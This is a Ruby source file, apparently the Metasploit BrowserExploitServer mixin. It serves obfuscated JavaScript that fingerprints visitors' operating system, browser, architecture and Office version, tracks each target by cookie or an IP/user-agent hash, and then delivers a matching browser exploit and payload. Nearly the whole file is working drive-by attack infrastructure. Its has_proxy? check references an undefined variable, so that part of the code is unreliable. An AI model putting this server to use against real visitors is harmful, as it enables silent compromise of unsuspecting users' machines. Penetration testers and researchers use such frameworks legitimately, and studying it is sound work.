420 lines
12 KiB
Ruby
420 lines
12 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'erb'
|
|
require 'rex/exploitation/js'
|
|
|
|
###
|
|
#
|
|
# The BrowserExploitServer mixin provides methods to acheive common tasks seen in modern browser
|
|
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
|
|
#
|
|
###
|
|
|
|
module Msf
|
|
module Exploit::Remote::BrowserExploitServer
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super
|
|
|
|
# Profile structure:
|
|
# {
|
|
# 'cookie' =>
|
|
# {
|
|
# :os_name => 'Windows',
|
|
# :os_flavor => 'something'
|
|
# ...... etc ......
|
|
# }
|
|
# }
|
|
# A profile should at least have info about the following:
|
|
# tag : Hash key. This is either an actual cookie, or a MD5 hash of target IP + user-agent
|
|
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
|
|
# should be more accureate in some scenarios like browser compatibility mode
|
|
# :ua_name : The name of the browser
|
|
# :ua_ver : The version of the browser
|
|
# :os_name : The name of the OS
|
|
# :language: The system's language
|
|
# :arch : The system's arch
|
|
# :proxy : Indicates whether proxy is used
|
|
#
|
|
# For more info about what the actual value might be for each key, see HttpServer.
|
|
#
|
|
# If the source is 'script', the profile might have even more information about plugins:
|
|
# 'office' : The version of Microsoft Office (IE only)
|
|
@target_profiles = []
|
|
|
|
# Requirements are conditions that the browser must have in order to be exploited.
|
|
# They must be defined by the module, and the mixin should check them before the
|
|
# exploit is actually deployed.
|
|
@requirements = {}
|
|
|
|
@info_receiver_page = "info"
|
|
@exploit_receiver_page = "explo it"
|
|
@noscript_receiver_page = "noscript"
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
|
|
], Exploit::Remote::BrowserExploitServer)
|
|
end
|
|
|
|
#
|
|
# Removes the trailing slash for get_resource
|
|
#
|
|
def get_resource
|
|
super.chomp("/")
|
|
end
|
|
|
|
#
|
|
# Syncs a block of code
|
|
#
|
|
# @param block [Proc] Block of code to sync
|
|
#
|
|
def sync(&block)
|
|
(@mutex ||= Mutex.new).synchronize(&block)
|
|
end
|
|
|
|
#
|
|
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
|
#
|
|
# @return [String] URI to the exploit page
|
|
#
|
|
def get_module_resource
|
|
"#{get_resource}/#{@exploit_receiver_page}"
|
|
end
|
|
|
|
#
|
|
# Defines requirements by the module. Main keys are the same as the ones in @target_profiles.
|
|
#
|
|
# @param reqs [Hash]
|
|
# @option reqs :source The data source. Either 'script' or 'headers'
|
|
# @option reqs :ua_name The name of the browser
|
|
# @option reqs :ua_ver The version of the browser
|
|
# @option reqs :os_name The name of the operating system
|
|
# @option reqs :language The language of the system
|
|
# @option reqs :arch The architecture
|
|
# @option reqs :prxy Indicates whether a proxy is used or not by the browser
|
|
#
|
|
def requirements(reqs={})
|
|
@requirements = reqs
|
|
end
|
|
|
|
#
|
|
# Returns an array of items that do not meet the requirements
|
|
#
|
|
# @param target_profile [Hash] The profile to check
|
|
# @return [Array] An array of requirements not met
|
|
#
|
|
def get_bad_requirements(target_profile)
|
|
profile = target_profile[target_profile.first[0]]
|
|
bad_reqs = []
|
|
|
|
@requirements.each do |k, v|
|
|
if v.class == Regexp
|
|
bad_reqs << k if profile[k] !~ v
|
|
else
|
|
bad_reqs << k if profile[k] != v
|
|
end
|
|
end
|
|
|
|
bad_reqs
|
|
end
|
|
|
|
#
|
|
# Returns the target profile based on the tag
|
|
#
|
|
# @param tag [String] Either a cookie or IP + User-Agent
|
|
# @return [Hash] The profile found. If not found, returns nil
|
|
#
|
|
def get_profile(tag)
|
|
sync do
|
|
@target_profiles.each do |profile|
|
|
return profile if profile[tag]
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Updates information for a specific profile
|
|
#
|
|
# @param target_profile [Hash] The profile to update
|
|
# @param key [Symbol] The symbol to use for the hash
|
|
# @param value [String] The value to assign
|
|
#
|
|
def update_profile(target_profile, key, value)
|
|
sync do
|
|
target_profile[target_profile.first[0]][key] = value
|
|
end
|
|
end
|
|
|
|
#
|
|
# Initializes a profile
|
|
#
|
|
# @param tag [String] A unique string as a way to ID the profile
|
|
#
|
|
def init_profile(tag)
|
|
sync do
|
|
@target_profiles << {tag => {}}
|
|
end
|
|
end
|
|
|
|
#
|
|
# Retrieves a tag.
|
|
# First it obtains the tag from the browser's "Cookie" header.
|
|
# If the header is empty (possible if the browser has cookies disabled),
|
|
# then it will return a tag based on IP + the user-agent.
|
|
#
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
#
|
|
def retreive_tag(request)
|
|
tag = request.headers['Cookie'].to_s
|
|
|
|
if tag.blank?
|
|
# Browser probably doesn't allow cookies, plan B :-/
|
|
ip = cli.peerhost
|
|
os = request.headers['User-Agent']
|
|
tag = Rex::Text.md5("#{ip}#{os}")
|
|
end
|
|
|
|
tag
|
|
end
|
|
|
|
#
|
|
# Registers target information to @target_profiles
|
|
#
|
|
# @param source [Symbol] Either :script, or :headers
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
#
|
|
def process_browser_info(source, cli, request)
|
|
tag = retreive_tag(request)
|
|
|
|
# Browser doesn't allow cookies. Can't track that, use a different way to track.
|
|
init_profile(tag) if request.headers['Cookie'].blank?
|
|
target_profile = get_profile(tag)
|
|
|
|
# Gathering target info from the detection stage
|
|
case source
|
|
when :script
|
|
# Gathers target data from a POST request
|
|
update_profile(target_profile, :source, 'script')
|
|
raw = Rex::Text.decode_base64(Rex::Text.uri_decode(request.body))
|
|
raw.split('&').each do |item|
|
|
k, v = item.scan(/(\w+)=(.*)/).flatten
|
|
update_profile(target_profile, k.to_sym, v)
|
|
end
|
|
|
|
when :headers
|
|
# Gathers target data from headers
|
|
# This may be less accureate, and most likely less info.
|
|
fp = fingerprint_user_agent(request.headers['User-Agent'])
|
|
# Module has all the info it needs, ua_string is kind of pointless.
|
|
# Kill this to save space.
|
|
fp.delete(:ua_string)
|
|
update_profile(target_profile, :source, 'headers')
|
|
fp.each do |k, v|
|
|
update_profile(target_profile, k.to_sym, v)
|
|
end
|
|
end
|
|
|
|
# Other detections
|
|
update_profile(target_profile, :proxy, has_proxy?(request))
|
|
update_profile(target_profile, :language, request.headers['Accept-Language'] || '')
|
|
|
|
report_client({
|
|
:host => cli.peerhost,
|
|
:ua_string => request.headers['User-Agent'],
|
|
:ua_name => target_profile[tag]['ua_name'],
|
|
:ua_ver => target_profile[tag]['ua_ver']
|
|
})
|
|
end
|
|
|
|
#
|
|
# Checks if the target is running a proxy
|
|
#
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @return [Boolean] True if found, otherwise false
|
|
#
|
|
def has_proxy?(request)
|
|
%w{
|
|
HTTP_VIA
|
|
HTTP_X_FORWARDED_FOR
|
|
HTTP_FORWARDED_FOR
|
|
HTTP_X_FORWARDED
|
|
HTTP_FORWARDED
|
|
HTTP_CLIENT_IP
|
|
HTTP_FORWARDED_FOR_IP
|
|
VIA
|
|
X_FORWARDED_FOR
|
|
FORWARDED_FOR
|
|
X_FORWARDED
|
|
FORWARDED
|
|
CLIENT_IP
|
|
FORWARDED_FOR_IP
|
|
HTTP_PROXY_CONNECTION
|
|
}.include?(request.headers[name])
|
|
end
|
|
|
|
#
|
|
# Returns the code for client-side detection
|
|
#
|
|
# @param [String] Returns the HTML for detection
|
|
#
|
|
def get_detection_html
|
|
js = ::Rex::Exploitation::JSObfu.new %Q|
|
|
#{js_base64}
|
|
#{js_os_detect}
|
|
#{js_addons_detect}
|
|
#{js_ajax_post}
|
|
|
|
function objToQuery(obj) {
|
|
var q = [];
|
|
for (var key in obj) {
|
|
q.push(key + '=' + obj[key]);
|
|
}
|
|
return escape(Base64.encode(q.join('&')));
|
|
}
|
|
|
|
window.onload = function() {
|
|
var osInfo = window.os_detect.getVersion();
|
|
var d = {
|
|
"os_name" : osInfo.os_name,
|
|
"os_flavor" : osInfo.os_flavor,
|
|
"ua_name" : osInfo.ua_name,
|
|
"ua_ver" : osInfo.ua_version,
|
|
"arch" : osInfo.arch,
|
|
"office" : window.addons_detect.getMsOfficeVersion()
|
|
};
|
|
var query = objToQuery(d);
|
|
postInfo("#{get_resource}/#{@info_receiver_page}/", query);
|
|
window.location = "#{get_resource}/#{@exploit_receiver_page}/";
|
|
}
|
|
|
|
|
|
|
js.obfuscate
|
|
|
|
%Q|
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
<noscript>
|
|
<img style="visibility:hidden" src="#{get_resource}/#{@noscript_receiver_page}/">
|
|
<meta http-equiv="refresh" content="1; url=#{get_resource}/#{@exploit_receiver_page}/">
|
|
</noscript>
|
|
|
|
|
end
|
|
|
|
#
|
|
# Handles exploit stages.
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
#
|
|
def on_request_uri(cli, request)
|
|
case request.uri
|
|
when /^#{get_resource}$/
|
|
#
|
|
# This is the information gathering stage
|
|
#
|
|
if get_profile(retreive_tag(request))
|
|
send_redirect(cli, "#{get_resource}/#{@exploit_receiver_page}")
|
|
return
|
|
end
|
|
|
|
print_status("Gathering target information.")
|
|
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
|
init_profile(tag)
|
|
html = get_detection_html
|
|
send_response(cli, html, {'Set-Cookie' => tag})
|
|
|
|
when /#{@info_receiver_page}/
|
|
#
|
|
# The detection code will hit this if Javascript is enabled
|
|
#
|
|
process_browser_info(source=:script, cli, request)
|
|
send_response(cli, '')
|
|
|
|
when /#{@noscript_receiver_page}/
|
|
#
|
|
# The detection code will hit this instead of Javascript is disabled
|
|
# Should only be triggered by the img src in <noscript>
|
|
#
|
|
process_browser_info(source=:headers, cli, request)
|
|
send_not_found(cli)
|
|
|
|
when /#{@exploit_receiver_page}/
|
|
#
|
|
# This sends the actual exploit. A module should define its own
|
|
# on_request_exploit() to get the target information
|
|
#
|
|
tag = retreive_tag(request)
|
|
profile = get_profile(tag)
|
|
if profile[tag][:tried] and datastore['Retries'] == false
|
|
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
|
|
send_not_found(cli)
|
|
else
|
|
update_profile(profile, :tried, true)
|
|
bad_reqs = get_bad_requirements(profile)
|
|
if bad_reqs.empty?
|
|
method(:on_request_exploit).call(cli, request, profile)
|
|
else
|
|
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
|
|
send_not_found(cli)
|
|
end
|
|
end
|
|
|
|
else
|
|
send_not_found(cli)
|
|
end
|
|
end
|
|
|
|
#
|
|
# Overriding method. The module should override this.
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
|
# @param browser_info [Hash] The target profile
|
|
#
|
|
def on_request_exploit(cli, request, browser_info)
|
|
end
|
|
|
|
#
|
|
# Converts an ERB-based exploit template into HTML, and sends to client
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param template [String] HTML
|
|
# @param headers [Hash] The custom HTTP headers to include in the response
|
|
#
|
|
def send_exploit_html(cli, template, headers={})
|
|
html = ERB.new(template).result
|
|
send_response(cli, html)
|
|
end
|
|
|
|
#
|
|
# Generates a target-specific payload, should be called by the module
|
|
#
|
|
# @param cli [Socket] Socket for the browser
|
|
# @param browser_info [Hash] The target profile
|
|
# @return [String] The payload
|
|
#
|
|
def get_payload(cli, browser_info)
|
|
tag = browser_info.first[0]
|
|
arch = browser_info[tag][:arch]
|
|
platform = browser_info[tag][:os_name]
|
|
|
|
# Fix names for consisntecy so our API can find the right one
|
|
# Originally defined in lib/msf/core/constants.rb
|
|
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
|
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
|
|
|
|
regenerate_payload(cli, platform, arch).encoded
|
|
end
|
|
|
|
end
|
|
end
|